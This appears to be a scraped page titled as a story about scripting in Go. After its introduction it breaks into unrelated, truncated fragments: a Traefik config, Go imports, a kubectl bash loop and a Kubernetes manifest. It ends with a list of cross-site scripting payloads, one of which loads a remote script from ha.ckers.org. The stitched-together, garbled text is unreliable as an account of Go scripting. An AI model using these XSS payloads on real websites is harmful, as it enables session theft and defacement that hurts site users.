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The Case For Go

Story: Writing Scripts with Go

This is a story about how I tried to use Go for scripting. In this story, I’ll discuss the need for a Go script, how we would expect it to behave and the possible implementations; During the discussion I’ll deep dive to scripts, shells, and shebangs. Finally, we’ll discuss solutions that will make Go scripts work.

Why Go is good for scripting?

While python and bash are popular scripting languages, C, C++ and Java are not used for scripts at all, and some languages are somewhere in between.

	http:
	routers:
	api:
	rule: PathPrefix(`/api`) \|\| PathPrefix(`/dashboard`)
	service: api@internal
	entryPoints:
	- internal
	middlewares:
	- auth
	middlewares:

	package main

	import (
	"bufio"
	"encoding/csv"
	"log"
	"os"
	"regexp"
	"strings"
	)

	#!/usr/bin/env bash

	kubectl get --watch --output-watch-events configmap -o=custom-columns=type:type,name:object.metadata.name \
	--no-headers \| \
	while read next; do

	NAME=$(echo $next \| cut -d' ' -f2)
	EVENT=$(echo $next \| cut -d' ' -f1)

	case $EVENT in

	apiVersion: apps/v1
	kind: Deployment
	metadata:
	name: fah
	labels:
	app: fah
	spec:
	selector:
	matchLabels:
	app: fah

	package main

	import (
	"context"
	"flag"
	"fmt"
	"log"
	"net/http"
	"os"
	"os/signal"

	';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>